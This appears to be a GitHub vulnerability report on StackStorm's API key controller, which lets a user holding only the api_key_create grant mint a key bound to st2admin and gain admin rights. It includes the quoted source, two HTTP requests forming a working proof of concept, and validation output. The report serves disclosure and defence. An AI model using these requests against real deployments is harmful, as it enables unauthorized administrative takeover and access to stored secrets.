Skip to content

API key creation allows a non-admin to bind a key to any user and gain that user's privileges (privilege escalation to admin) #6380

Description

@geo-chen

Affected Versions: <= 3.9.0 (latest release), with the enterprise RBAC backend (st2-rbac-backend) enabled

Summary

When RBAC is enabled, any StackStorm user who has been granted the api_key_create permission can create an API key bound to an arbitrary user value, including a full administrator account such as st2admin. Because an API key authenticates as the user it is bound to ("Each API key object is scoped to the user and inherits permissions from that user"), the attacker can then authenticate with that key and operate as the impersonated user. This is a direct privilege escalation: a low-privileged account with only the api_key_create grant can mint an admin-scoped API key and obtain full administrative access to the StackStorm API.

The root cause is that the API key controller trusts the request-body user field verbatim and never asserts that the requester is allowed to act for that user, and the enterprise api_key_create permission check is a global permission check that does not inspect the requested user value. Sibling controllers that accept a user-controlled user field (rules, executions) call assert_user_is_admin_if_user_query_param_is_provided; the API key controller does not.

Details

API keys carry the identity an authenticated request runs as. In st2common/st2common/models/db/auth.py the ApiKeyDB model documents this:

class ApiKeyDB(...):
    # Each API key object is scoped to the user and inherits permissions from that user.
    user = me.StringField(required=True)

When a request authenticates with an API key, the router resolves the request principal from the key's user field. In st2common/st2common/router.py (around lines 367-377):

if token:
    _, auth_func = op_resolver(definition["x-operationId"])
    auth_resp = auth_func(token)          # returns the ApiKeyDB
    ...
    context["user"] = User.get_by_name(auth_resp.user)   # principal = key.user

So whoever controls the user field stored on an API key controls the identity all requests made with that key run as.

The API key is created in st2api/st2api/controllers/v1/auth.py, ApiKeyController.post (lines 129-180):

def post(self, api_key_api, requester_user):
    permission_type = PermissionType.API_KEY_CREATE
    rbac_utils = get_rbac_backend().get_utils_class()
    rbac_utils.assert_user_has_resource_api_permission(
        user_db=requester_user,
        resource_api=api_key_api,
        permission_type=permission_type,
    )

    ...
    if not getattr(api_key_api, "user", None):
        if requester_user:
            api_key_api.user = requester_user.name
        else:
            api_key_api.user = cfg.CONF.system_user.user
    ...
    api_key_db = ApiKey.add_or_update(ApiKeyAPI.to_model(api_key_api))

The only defaulting is "if the caller did not supply user, use the requester's name." If the caller DOES supply user, it is used verbatim. There is no call to assert_user_is_admin_if_user_query_param_is_provided (the guard used by rules.py at lines 137 and 201, and by the executions and keyvalue controllers), so the requested user is never constrained to the requester.

The only authorization is assert_user_has_resource_api_permission(API_KEY_CREATE). In the official enterprise backend st2-rbac-backend, ApiKeyPermissionResolver.user_has_resource_api_permission (st2rbac_backend/resolvers.py) is:

def user_has_resource_api_permission(self, user_db, resource_api, permission_type):
    assert permission_type in [PermissionType.API_KEY_CREATE]
    return self._user_has_global_permission(user_db=user_db, permission_type=permission_type)

_user_has_global_permission only checks whether the user has the global api_key_create grant. It never inspects resource_api.user. API_KEY_CREATE is a GLOBAL_PERMISSION_TYPE (st2common/st2common/rbac/types.py), meaning it is a normal grant that an administrator can hand to a custom, non-admin role (for example, so that automation users can self-service API keys).

The result: a user with only the api_key_create grant passes the check, and the unconstrained user field lets them bind the new key to st2admin (or any other account). Authenticating with that key then runs every request as the impersonated user.

The same unconstrained user field is also present in put (lines 182-223), which trusts api_key_api.user with no admin gate.

PoC

Prerequisites: a StackStorm 3.9.0 deployment with RBAC enabled ([rbac] enable = True, backend = default, the st2-rbac-backend package installed). An administrator has granted a low-privileged user lowpriv a custom role whose only grant is the global api_key_create permission. The administrator account st2admin exists with the system_admin role.

Step 1 - As lowpriv, create an API key bound to the admin account:

POST /api/v1/apikeys HTTP/1.1
Host: stackstorm
X-Auth-Token: <lowpriv_token>
Content-Type: application/json

{"user": "st2admin", "metadata": {"note": "x"}}

Response: 201 Created
{
  "id": "....",
  "user": "st2admin",
  "key": "<PLAINTEXT_API_KEY>",
  "enabled": true
}

The key is returned in plaintext exactly once, and it is bound to st2admin.

Step 2 - Authenticate with the new key and act as admin:

GET /api/v1/rbac/roles HTTP/1.1
Host: stackstorm
St2-Api-Key: <PLAINTEXT_API_KEY>

Response: 200 OK   (admin-only endpoint succeeds; request runs as st2admin)

Any administrator-restricted operation (managing roles, reading every user's datastore, running or re-running actions as admin, decrypting system secrets, modifying any pack/rule) is now available, because the router sets context["user"] = User.get_by_name(api_key_db.user) = st2admin.

Live validation (in-process against the official stackstorm/st2:3.9 image, st2 3.9.0 plus st2-rbac-backend 3.9.dev0, real MongoDB, RBAC enabled). The real ApiKeyController.post, the real ApiKeyPermissionResolver, and the real validate_api_key resolution were driven directly:

RBAC backend in use: st2rbac_backend.backend
lowpriv user_is_admin : False
admin   user_is_admin : True
resolver allows lowpriv to CREATE key with user=st2admin : True
bound user field : st2admin
api_key_db.user  : st2admin
resolved principal for requests made with this key : st2admin
principal user_is_admin : True
RESULT: PRIVILEGE ESCALATION CONFIRMED

lowpriv (not an admin, only the api_key_create grant) created an API key whose user is st2admin, and the auth path that the router uses resolves that key's principal to st2admin, who is an administrator.

Impact

Any StackStorm account that has been granted the api_key_create permission (a normal, delegable global grant intended only to let users create keys for themselves) can escalate to full administrator. The attacker creates an API key with "user": "st2admin", then authenticates with it and inherits the administrator's permissions across the entire API: managing RBAC roles and grants, reading and decrypting any user's or the system datastore secrets, running and re-running actions and workflows as admin, and modifying any pack, rule, or sensor. Because the impersonated identity is also what audit logs record, the actions are attributed to the impersonated user. This is a confidentiality and integrity compromise of the whole StackStorm installation and of every credential it stores.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions